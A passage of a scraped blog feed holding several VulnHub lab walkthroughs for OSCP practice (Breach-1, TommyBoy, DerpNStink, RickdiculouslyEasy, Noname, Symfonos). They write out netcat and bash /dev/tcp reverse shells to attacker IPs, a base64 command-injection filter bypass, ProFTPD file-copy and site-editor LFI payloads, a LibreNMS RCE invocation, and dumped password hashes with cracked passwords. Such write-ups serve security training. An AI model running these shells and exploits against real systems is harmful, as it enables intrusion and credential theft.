restarted (force fully) the VM.Now when I checked the hello binary. It has SETUID permission.\nWhen we run that binary we are root.\nI am sure this is not the intended way to price escalation as I manually turned off VM for the exploitation to happen.\nI found another vector for privilege escalation. Further looking at the /images directory I came to the image which says I\u0026rsquo;m gonna need to look at the source code.\nNow looking at the metadata using ExifTool. I can see a comment there. I guess it can be a password for another user.\nI can see two users inside home directory. Let\u0026rsquo;s try to spray the password. Yeah BOOM got into blumbergh. Running sudo -l I see that we can run sudo without a password for a command.\nBefore proceeding to exploit let me tell you what this means. So we can use the whole command without sudo. We cannot use /usr/bin/tee alone with sudo privilege. I used a basic netcat payload to get a reverse shell.\necho \u0026#34;nc -e /bin/sh 192.168.110.4 1234\u0026#34; | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh This box was really intense. Had to do a lot of research. Definitely learnt new skills.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/breach-1-vulnhub-walkthrough/","summary":"This box is from the Tj NULL list for OSCP preparation and can be downloaded from vulnhub. This box exploitation involved following steps:\nEnumerating most common ports Enumeration and Enumeration Looking deep and everywhere Wireshark decryting SSL packets Exploiting init.d write permission to Privelege escalation. I started with the nMap scan. I use autorecon for nmap scan and to my surprise this box had all ports open. So I decided to start with most popular ports.","title":"Breach-1 VulnHUB Walkthrough"},{"content":"This box is from VulnHub and is on the TjNUll list for OSCP preparation. Controlling the whole VM included the following steps:\nEnumeration of port 80 and 8008 Finding hidden directory from HTML comments Enumeration and password bruteforce using WP-Scan ZIP password cracking Gathering informations along the way I am going to start with the initial Nmap scan. I use the autorecon script. The initial Nmap scan shows 3 open ports.\nNmap scan report for 10.0.0.9 Host is up, received arp-response (0.00040s latency). Scanned at 2022-03-31 19:49:26 EDT for 9s Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a0:ca:62:ce:f6:7e:ae:8b:62:de:0b:db:21:3f:b0:d6 (RSA) | ssh-rsa 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Welcome to Callahan Auto | http-robots.txt: 4 disallowed entries | /6packsofb...soda /lukeiamyourfather |_/lookalivelowbridge /flag-numero-uno.txt | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) 8008/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu)) |_http-title: KEEP OUT | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) Uptime guess: 198.838 days (since Mon Sep 13 23:42:33 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.40 ms 10.0.0.9 Looking at the webpage and viewing its source page, I found the chat between Nick and Richard. They mentioned the backup file in another directory and the name of the directory is the name of the place where Richard and Tom Jr had a big fight. Following the youtube video. I can see the name of the place is prehistoricforest.\nAnd I found the WordPress website located at /prehistoricforest.\nAfter the wpscan, I found the username list (ignored the names found from passive detection) and started wpscan to Bruteforce the login page with those usernames.\nAnd boom got a hit!\nI found a draft post inside the tom account and it has a hint for the password in it. Looks like it means the ssh password.\nAfter trying a few possible combinations it didn\u0026rsquo;t work. There is a password-protected post in WordPress homepage.\nReading the above post from Tom Jr, the hint for password lies in the /richard directory.\nThere is an image in that directory. Downloading that image and running ExifTool, I can see the password hash.\nCracking the password using crackstation.net, the password is spanky.\nReading the post now, it has the rant from the parting worker and a weird setup about the FTP.\nThe most easily guessable password is the username itself. And viola it is right. I was in after waiting for a few min for the FTP port to open.\nReadme file from FTP gave us more hints.\nNow going to the NickIzL33t. I found this screen and no matter what I try couldn\u0026rsquo;t move ahead. Looking after hints its turns out you can only access the page from iOS Safari (Steve Jobs).\nChanging the user-agent we are able to see the page now.\nI tried some directory wordlist to find the hidden directory but no luck. Then I tried the rockyou.txt list and was able to find the directory. I used the following command.\ngobuster dir -u http://10.0.0.9:8008/NickIzL33t/ -a \u0026#34;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)\u0026#34; -x html -w /usr/share/wordlists/rockyou.txt -t 100 --no-error Few more hints.\nHere is the hint for the BigTom Password.\nSo lets create a python script to generate a password according to the requirements. It was year 1995 when Tommy Boy was out in ttheature.\nimport string from sys import argv openfile = open(argv[1],\u0026#39;a\u0026#39;) numbers = list(range(10)) uppercase = string.ascii_uppercase lowercase = string.ascii_lowercase list_symbols= \u0026#39;!\u0026#34;#$%\u0026amp;\\\u0026#39;()*+,-./:;\u0026lt;=\u0026gt;?@[\\\\]^_`{|}~)\u0026#39; list_of_symbols = [] for symbols in list_symbols: d.append(list_of_symbols) for uppercase_letter in uppercase: for numbers_one in numbers: for numbers_two in numbers: for lower_letter in lowercase: for lower_letter_second in lowercase: for symb in list_of_symbols: pass1 = \u0026#34;bev\u0026#34; + str(uppercase_letter) + str(numbers_one) + str(numbers_two) + str(lower_letter) + str(lower_letter_second) + str(symb) + str(1995) + \u0026#34;\\n\u0026#34; # pass2 = al + str(num) + \u0026#34;Flesh\\n\u0026#34; # pass3 = al + str(num) + \u0026#34;Curtains\\n\u0026#34; openfile.write(pass1) # openfile.write(pass2) # openfile.write(pass3) openfile.close() And run john, we were able to crack the password.\nThe password is bevH00tr$1995.\nNow extracting that zip we find another crucial clue for tom password.\nWe had already found the last part of the password above. ( which was 1938!!). So the username and password for Callahan Auto Server is bigtommysenior:fatguyinalittlecoat1938!!\nNow, I can ssh into the system.\nNow I renamed the callahanbak.bak file to index.html and copied it to /var/www/html/ and the website is back up.\nThere is a zip file in the home directory but I couldn\u0026rsquo;t crack it. Let\u0026rsquo;s look for priv escalation. Also, found a .5.txt file in the root directory that can only be read by www-data. Now running the linpeas script, I can see one interesting writable file.\nThis might be the same directory where Nick used to upload secret stuff. After uploading the PHP reverseshell. We get into the system with www-data.\nNow let\u0026rsquo;s read that file content.\nAnd the box is done. I thought we will have root access but no that\u0026rsquo;s the scope of this box. It helped to gain more enumeration skills.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/tommyboy-vulnhub-walkthrough/","summary":"This box is from VulnHub and is on the TjNUll list for OSCP preparation. Controlling the whole VM included the following steps:\nEnumeration of port 80 and 8008 Finding hidden directory from HTML comments Enumeration and password bruteforce using WP-Scan ZIP password cracking Gathering informations along the way I am going to start with the initial Nmap scan. I use the autorecon script. The initial Nmap scan shows 3 open ports.","title":"TommyBoy VulnHUB Walkthrough"},{"content":" This Derpnstink room is on the TJNull list for OSCP preparation. This room involved the following steps.\nEnumerating using gobuster Enumerating using wp-scan Exploiting the vulnerable wp plugins for gaining Reverse Shell Looking into wp-config file to find the username and password for database Exploiting Sudo for priv escalation As usual, let\u0026rsquo;s start with an autorecon scan. The initial Nmap scan result is as below.\nNmap scan report for 10.0.0.8 Host is up, received arp-response (0.00048s latency). Scanned at 2022-03-31 06:49:17 EDT for 9s Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.2 22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/php/ /temporary/ |_http-title: DeRPnStiNK | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) Uptime guess: 198.839 days (since Mon Sep 13 10:41:03 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.48 ms 10.0.0.8 Looking at robots.txt we find two pages of which one is forbidden and one says `Tryharder.On my feroxbuster scan from autorecon I see a new directory called weblog.\nWe can see the WordPress site now. Let\u0026rsquo;s run the wpscan.\nwpscan --url http://derpnstink.local/weblog -e ap,u The scan result shows the user name admin and a vulnerable plugin.\nFor this exploit to run we need authentication. Let\u0026rsquo;s perform Bruteforce for user admin. I was able to crack the password and it was admin:admin.\nNow let\u0026rsquo;s perform that arbitrary upload exploit. I tried using the python script from searchsploit for arbitrary file upload but the script ran into an error. Upon diving deep, I found that you can upload the script in the manage slide section of the plugin.\nI used the pentest monkey PHP reverse shell and got the reverse shell.\nI didn\u0026rsquo;t find anything looking around. So uploaded the linpeas.sh script. Linpeas found something interesting immediately. But couldn\u0026rsquo;t proceed ahead with this vector.\nThere must be something else to gain access to this system. Looking at /var/www/html we find a php folder. Inside it there is info.php file.\nSo we can see that there is an /phpmyadmin interface running inside the /php directory. Let us see if we can find some credentials to gain access to the PHPMyAdmin. Let\u0026rsquo;s search for the wp-config file and see if we can find anything important in there. And I found the database username and password.\nInside the database, I was able to find the username and password hash for user admin and unclestinky for WordPress.\nLooking further into the database, I found another password hash for unclestinky. This might be the password to the OS.\nI was able to crack it using crackstaion.net. The password is wedgie57 .\nI tried changing the user to unclestinky but the user didn\u0026rsquo;t exist. Checking the home directory I found stinky and sprayed my password for user stinky and it worked.\nEnumerating further I found derpissues.pcap file inside the Documents folder in the stinky Home Directory. I fired up Wireshark and started looking into the pcap file.\nForm item: \u0026#34;pass1\u0026#34; = \u0026#34;derpderpderpderpderpderpderp\u0026#34; It tried changing the user to mrderp with the password derpderpderpderpderpderpderp and it worked.\nRunning sudo -l command, we can see the mrderp can run derpy* (* wildcard means can be with any file extension) command. And is inside the home directory of mrderp.\nThe binaries folder does not even exist. SWEET! . I am going to create a directory and derpy.sh file which runs simple bash shell command. Executing it with sudo gives us root access.\nThis box has everything to learn and help in developing your enumeration skills.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/derpnstink-vulnhub-walkthrough/","summary":"This Derpnstink room is on the TJNull list for OSCP preparation. This room involved the following steps.\nEnumerating using gobuster Enumerating using wp-scan Exploiting the vulnerable wp plugins for gaining Reverse Shell Looking into wp-config file to find the username and password for database Exploiting Sudo for priv escalation As usual, let\u0026rsquo;s start with an autorecon scan. The initial Nmap scan result is as below.\nNmap scan report for 10.","title":"Derpnstink VulnHUB Walkthrough"},{"content":"This machine is from the TJ Null list for the OSCP box. This room involved the following steps.\nEnumerating HTTP to find the Command Injection Finding a hidden password in source code Bruteforcing with hydra Generating a password list for a user to bruteforce First, as always let\u0026rsquo;s start with the autorecon scan. Quick Initial Nmap scan results are as below.\nScanned at 2022-03-31 03:36:27 EDT for 38s Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 42 Aug 22 2017 FLAG.txt |_drwxr-xr-x 2 0 0 6 Feb 12 2017 pub 22/tcp open ssh? syn-ack ttl 64 | fingerprint-strings: | NULL: |_ Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64) |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.27 ((Fedora)) |_http-title: Morty\u0026#39;s Website | http-methods: | Supported Methods: POST OPTIONS HEAD GET TRACE |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.27 (Fedora) 9090/tcp open http syn-ack ttl 64 Cockpit web service 161 or earlier |_http-title: Did not follow redirect to https://10.0.0.7:9090/ | http-methods: |_ Supported Methods: GET HEAD Uptime guess: 13.065 days (since Fri Mar 18 02:03:17 2022) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.35 ms 10.0.0.7 Although the quick Nmap only show 4 open ports full Nmap scan shows 7 open ports, and they are:\n21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3 22/tcp open ssh? syn-ack ttl 64 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.27 9090/tcp open http syn-ack ttl 64 Cockpit web service 13337/tcp open unknown syn-ack ttl 64 22222/tcp open ssh syn-ack ttl 64 OpenSSH 7.5 60000/tcp open unknown syn-ack ttl 64 Feroxbuster scan shows that there is a passwords directory. When we open that directory we can see passwords.html. Although there was no password there, when we check the source code we can see the password winter.\nEnumerating further in HTTP takes us to robots.txt, where we find /cgi-bin/tracertool.cgi. It turns out to be the traceroute command query. I think we can perform command injection here.\nLeveraging the command injection I was able to find the users list from /etc/passwd file. Using cat will show as ASCII cat so I used less /etc/passwd to view the file.\nWe can use hydra to brute-force some of the open port services as we have a username list and a password winter. I tried brute-forcing ssh and was successful. We find Summer has the password of winter. How nice!\nSummer has access to the home folder of other Morty as well. Inside Morty\u0026rsquo;s home folder, we can see Safe_Password.jpg and journal.txt.zip. The zip file is password protected and the password is hidden inside the image.\nInside journal.txt we find another juicy detail and most likely password for something.\nInside RickSanchez\u0026rsquo;s home folder we find RICKS_SAFE. I think this is the folder that Morty was talking about in the journal.\nSummer doesn\u0026rsquo;t have the execute permission for safe but has read permission. We can copy safe to our directory and try to execute it with the password from journal.txt\nNow we need to generate the password for Rick using the requirements mentioned in the safes executable. The band name of Ricky is \u0026ldquo;The Flesh Curtains\u0026rdquo;. I used the following python script to create a passwords list.\nimport string from sys import argv openfile = open(argv[1],\u0026#39;a\u0026#39;) b = list(range(10)) a = string.ascii_uppercase for al in a: for num in b: pass1 = al + str(num) + \u0026#34;The\\n\u0026#34; pass2 = al + str(num) + \u0026#34;Flesh\\n\u0026#34; pass3 = al + str(num) + \u0026#34;Curtains\\n\u0026#34; openfile.write(pass1) openfile.write(pass2) openfile.write(pass3) openfile.close() Now let\u0026rsquo;s try to brute-force ssh using hydra. The password is P7Curtains.\nSo, user RickSanchez can run all sudo commands in the system.\nWe have successfully rooted the system and the whole process was so fun.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/rickdiculouslyeasy-walkthrough-vulnhub/","summary":"This machine is from the TJ Null list for the OSCP box. This room involved the following steps.\nEnumerating HTTP to find the Command Injection Finding a hidden password in source code Bruteforcing with hydra Generating a password list for a user to bruteforce First, as always let\u0026rsquo;s start with the autorecon scan. Quick Initial Nmap scan results are as below.\nScanned at 2022-03-31 03:36:27 EDT for 38s Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.","title":"rickdiculouslyeasy Walkthrough Vulnhub"},{"content":"This room is from the vulnhub and can also be found on Proving Grounds Play. There is only one port open. The attack on the machine involved the following steps.\nEnumeration of HTTP with gobuster/feroxbuster Exploiting command injection Exploiting SUID binary for Priv Escalation Let us start with the Nmap scan. I always start with an autorecon scan. The initial scan is as follows.\nNmap scan report for 10.0.0.6 Host is up, received arp-response (0.00039s latency). Scanned at 2022-03-31 00:55:23 EDT for 8s Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=UTF-8). | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 08:00:27:E3:70:4A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Uptime guess: 41.486 days (since Thu Feb 17 12:16:03 2022) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=254 (Good luck!) IP ID Sequence Generation: All zeros TRACEROUTE HOP RTT ADDRESS 1 0.39 ms 10.0.0.6 When going to the web portal there is a fakeadmin area, where we can perform some queries, But obviously, it is fake as looking at the source code. It does nothing but print \u0026lsquo;fake ping executed\u0026rsquo;.\nFurther enumeration and directory scan through gobuster( feroxbuster found it for me while running auto recon), a new directory is found superadmin. This is similar to the portal we found before, but this time it performs real ping requests.\nI tried running a few other commands but it does not respond. I tried using \u0026lsquo;;\u0026rsquo; and \u0026lsquo;\u0026amp;\u0026amp;\u0026rsquo; to trick the command injection but failed. However, I succeeded in using the \u0026lsquo;||\u0026rsquo; command. \u0026lsquo;||\u0026rsquo; runs the second command if there is an error in the first command.\n10.0.0a3 || id But however, no matter what we try we cannot get the reverse shell. looking at the source code we can see there are many commands which are filtered/sanitized. superadmin.php file contents are below.\n\u0026lt;?php if (isset($_POST[\u0026#39;submitt\u0026#39;])) { $word=array(\u0026#34;;\u0026#34;,\u0026#34;\u0026amp;\u0026amp;\u0026#34;,\u0026#34;/\u0026#34;,\u0026#34;bin\u0026#34;,\u0026#34;\u0026amp;\u0026#34;,\u0026#34; \u0026amp;\u0026amp;\u0026#34;,\u0026#34;ls\u0026#34;,\u0026#34;nc\u0026#34;,\u0026#34;dir\u0026#34;,\u0026#34;pwd\u0026#34;); $pinged=$_POST[\u0026#39;pinger\u0026#39;]; $newStr = str_replace($word, \u0026#34;\u0026#34;, $pinged); if(strcmp($pinged, $newStr) == 0) { $flag=1; } else { $flag=0; } } if ($flag==1){ $outer=shell_exec(\u0026#34;ping -c 3 $pinged\u0026#34;); echo \u0026#34;\u0026lt;pre\u0026gt;$outer\u0026lt;/pre\u0026gt;\u0026#34;; } ?\u0026gt; So we have to think of alternatives. We can base64 encode the command.\nbash -i \u0026gt;\u0026amp; /dev/tcp/10.0.0.3/1337 0\u0026gt;\u0026amp;1 10.0.0.a||echo \u0026ldquo;YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMy8xMzM3IDA+JjE=\u0026rdquo; | base64 -d | bash\nWe are successful to get the reverse shell. ![](/media/image-7-1.png) After running [linpeas](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) script, I found an interesting SUID binary. ![](/media/image-8-1.png) [gtfobins](https://gtfobins.github.io/gtfobins/find/#suid) has a one-line script for privilege escalation for `find.` ![](/media/image-9-1.png) We got the root. ![](/media/image-10-1.png) ","permalink":"https://cyberdai.github.io/posts/vulnhub/noname-vulnhub-walkthrough/","summary":"This room is from the vulnhub and can also be found on Proving Grounds Play. There is only one port open. The attack on the machine involved the following steps.\nEnumeration of HTTP with gobuster/feroxbuster Exploiting command injection Exploiting SUID binary for Priv Escalation Let us start with the Nmap scan. I always start with an autorecon scan. The initial scan is as follows.\nNmap scan report for 10.0.0.6 Host is up, received arp-response (0.","title":"Noname Vulnhub walkthrough"},{"content":"This box is part of the Symfonos series from Vulnhub and is from the list of Tj Null Oscp preparation lists. The initial vector for this box was easy. You find the file on SMB share using anonymous login. Enumerating that file (log) and utilizing the vulnerable FTP server, we can get ssh access. Then we find another webserver, and gaining reverse-shell utilizing the vulnerability of the webserver, we gain root access using MySQL and sudo privilege escalation.\nLet\u0026rsquo;s start with the autorecon scan of the server. The quick Nmap scan report is below.\nNmap scan report for 10.0.2.17 Host is up, received arp-response (0.00036s latency). Scanned at 2022-03-30 01:09:30 EDT for 23s Not shown: 995 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 ProFTPD 1.3.5 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 80/tcp open http syn-ack ttl 64 WebFS httpd 1.21 |_http-server-header: webfs/1.21 |_http-title: Site doesn\u0026#39;t have a title (text/html). | http-methods: |_ Supported Methods: GET HEAD 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) MAC Address: 08:00:27:61:9F:61 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 198.839 days (since Sun Sep 12 05:01:39 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.36 ms 10.0.2.17 We have 5 open ports.\nPort 21 \u0026ndash; FTP Port 22 \u0026ndash; SSH Port 80 \u0026ndash; HTTP Port 139 \u0026ndash; Samba Port 445 \u0026ndash; Samba Looking closely at the FTP scan result, we can see the ProFTPD version of 1.3.5. The quick search result shows that this particular version is vulnerable to File Copy exploit.\nlooking at the 36742.txt, we are able to exploit this version and copy any files if we know the location. A small snippet of 36742.txt is as below.\nHe provides another, scarier example: (36742.txt) ------------------------------ site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto \u0026lt;?php phpinfo(); ?\u0026gt; 550 cpto: Permission denied site cpfr /proc/self/fd/3 350 File or directory exists, ready for destination name site cpto /var/www/test.php Looking deeper at the scan results from autorecon, I found that smb login is allowed for anonymous users.\nLets login to anonymous share and see if we can find anything important.\nWe see the log.txt . It turns out to be a log file and contained really important details. Important contents of log.txt are as below.\nWe can see that the root user saved the output of /etc/shadow to /var/backups/shadow.bak When reading further we can see that the path of the anonymous samba share.\nNow, we can use the file copy vulnerability to copy that /var/backups/shadow.bak to the path of samba share /home/aeolus/share.\nLet\u0026rsquo;s log back into the samba share using anonymous login. We can see the shadow file there and can download it to our device.\nI found 3 hashes\nroot:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.:18095:0:99999:7::: aeolus:$6$dgjUjE.Y$G.dJZCM8.zKmJc9t4iiK9d723/bQ5kE1ux7ucBoAgOsTbaKmp.0iCljaobCntN3nCxsk4DLMy0qTn8ODPlmLG.:18095:0:99999:7::: cronus:$6$wOmUfiZO$WajhRWpZyuHbjAbtPDQnR3oVQeEKtZtYYElWomv9xZLOhz7ALkHUT2Wp6cFFg1uLCq49SYel5goXroJ0SxU3D/:18095:0:99999:7::: Now I am going to use hashcat to crack these hashes. Looking at the format it is sha512crypt which is mode 1800.\nhashcat -m 1800 hashcat.txt ~/wordlists/rockyou.txt -O And we are able to crack one of the hashes which belong to aeolus user. Password is sergioteamo.\nLet\u0026rsquo;s ssh into the device and upload the linpeas script to the victim device and start the priv escalation enumeration. There were no highlights from the linpeas but we can see there are two more active ports in the victim device.\nLet\u0026rsquo;s set up reverse ssh so that we can access that 8080 port. I am more interested in the 8080 port because it usually is a webserver. I am setting up reverse ssh.\nssh -L \u0026lt;our port\u0026gt;:localhost:\u0026lt;victim port\u0026gt; \u0026lt;username\u0026gt;@\u0026lt;ip\u0026gt; It turns out to be a LibreNMS server. We can use the same aelous:sergioteamo to log in. A quick search for exploit returns few options.\nLet\u0026rsquo;s try the \u0026lsquo;addhost\u0026rsquo; Remote Code Execution (47044. py). This python script requires the cookie token so send the request to ZAP / BurpSuite and copy the whole cookie part. Setup the listening on port 1337.\npython2.7 47044.py http://localhost:8080 \u0026#34;XSRF-TOKEN=eyJpdiI6ImtyVUhHQlY0SkNVRjVYQUJ6RG1Kc2c9PSIsInZhbHVlIjoiVWU2UG9lVFd5MktTeDZCSWxUQ2ErNlJ2NEM1emtXOVE3WXBSa0JkbnN0bjBHc0h2NFRlWHVhOFZcL3Ztd0g0bDlTTWt1QWN0VHlhaUJuWTFldFpETDZnPT0iLCJtYWMiOiI4ZmE4MjBlNWQzZjg1ZWY0NzQ4Zjc2MTU2MjIxN2EzNjBhNDdjMDcxMzJiMDk0ZmQxZWM2NjllNWUxMWNmNDA2In0%3D; librenms_session=eyJpdiI6IjZMZndMT3JyRkN5UlVGRDN4Z1cyMkE9PSIsInZhbHVlIjoiV0tGeGVSZ1R5NGtCbVRTS1FjUCtHOU1nUlNYMXdZcVwvajhDWXdKS0N0aTBvRmZRait5SEZjZVJOYVRHZ3pZblFoS3dZVlQ3b1A3enF4WG5mWVFRd1pRPT0iLCJtYWMiOiI2ZTVhNWVlY2Y2ZDQ2OTc3MmM4YWU4NzZjOWZhMTc5MDI4MjAzMGJjYmE5NjZiMTQ3ZWFlNzY5NjAwOTczNWFhIn0%3D; PHPSESSID=mj6l3rvl7a7iltvm1f2eebab70\u0026#34; 10.0.2.11 1337 Now we get a shell and we are cronus user.\nI am hoping to find some new vector for privilege escalation from the linpeas script. And we find sudo command for cronus user with no password.\nChecking gtfobins, we can find easy one-line code to gain a root shell.\nNow we have root access.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/symfonos-2-vulnhub-walkthrough/","summary":"This box is part of the Symfonos series from Vulnhub and is from the list of Tj Null Oscp preparation lists. The initial vector for this box was easy. You find the file on SMB share using anonymous login. Enumerating that file (log) and utilizing the vulnerable FTP server, we can get ssh access. Then we find another webserver, and gaining reverse-shell utilizing the vulnerability of the webserver, we gain root access using MySQL and sudo privilege escalation.","title":"Symfonos-2 vulnhub walkthrough"},{"content":" Symfonos Box from VulnHub\nThis box is from the TJ NULL list for OSCP preparation. Gaining the initial vector was easy through SMB. The attack followed the following steps:\nEnumeration through SMB \u0026ndash; anonymous login Gaining access to user\u0026rsquo;s account through SMB Enumerating the WordPress site Found the \u0026ldquo;Upload Directory has listing enabled\u0026rdquo;. Found Siteeditor vulnerabilty for LFI Gained initial access PATH exploit for privelege escalation Let\u0026rsquo;s first start with the Nmap scan. I perform autorecon by Tib3rius. The quick TCP Nmap scan performed by autorecon can be seen below.\n# Nmap 7.92 scan initiated Tue Mar 29 20:18:20 2022 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN /home/kali/VulnHuB/Symfonos/results/10.0.2.16/scans/_quick_tcp_nmap.txt -oX /home/kali/VulnHuB/Symfonos/results/10.0.2.16/scans/xml/_quick_tcp_nmap.xml 10.0.2.16 Nmap scan report for 10.0.2.16 Host is up, received arp-response (0.00032s latency). Scanned at 2022-03-29 20:18:20 EDT for 50s Not shown: 995 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) 25/tcp open smtp syn-ack ttl 64 Postfix smtpd |_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn\u0026#39;t have a title (text/html). | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.5.16-Debian (workgroup: WORKGROUP) MAC Address: 08:00:27:5E:DC:8D (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 198.841 days (since Sun Sep 12 00:07:36 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.32 ms 10.0.2.16 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Mar 29 20:19:10 2022 -- 1 IP address (1 host up) scanned in 51.07 seconds We can see 5 open ports.\nPort 22 \u0026ndash; SSH Port 25 \u0026ndash; SMTP Port 80 \u0026ndash; HTTP Port 139 \u0026ndash; Samba Port 445 \u0026ndash; Samba Further through the autorecon results, we can see SMB has anonymous login allowed.\nLet\u0026rsquo;s access the anonymous share.\nsmbclient \\\\\\\\10.0.2.16\\\\anonymous -U anonymous We can see there is an attention.txt. That looks juicey.\nWe can guess the staff are using weak passwords and this was the reminder for staff. Let\u0026rsquo;s spray this password for user helios ( found from enum4linux script) . \u0026lsquo;qwerty\u0026rsquo; provides us access to the helios share.\nWe can see research.txt and todo.txt. Content of research.txt was irrelevant but todo.txt contained the hidden web directory.\nNow accessing HTTP:///h3l105 took us to the Wordpress website.\nNow we can run wpscan on this website. -e for enumeration, vp - vulnerable plugins , u -users\nwpscan --url http://10.0.2.16/h3l105 -e vp,u We found something interesting. Upon further enumeration, we can see site-editor.\nThere is a site-editor LFI vulnerability in the WordPress website. ( I have done a similar box before) .\nBy providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system. ** Proof of Concept ** http://\u0026lt;host\u0026gt;/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd We were successful to get the LFI and can access /etc/passwd.\nhttp://10.0.2.16/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd Now, this is where I got stuck. And I started looking for a way to convert LFI to RCE. Spent a few hours and came across Refabrik Notes about SMTP. Where we can leverage the LFI to gain RCE using the email server. Followed his steps. He also mentioned that we can access this email from 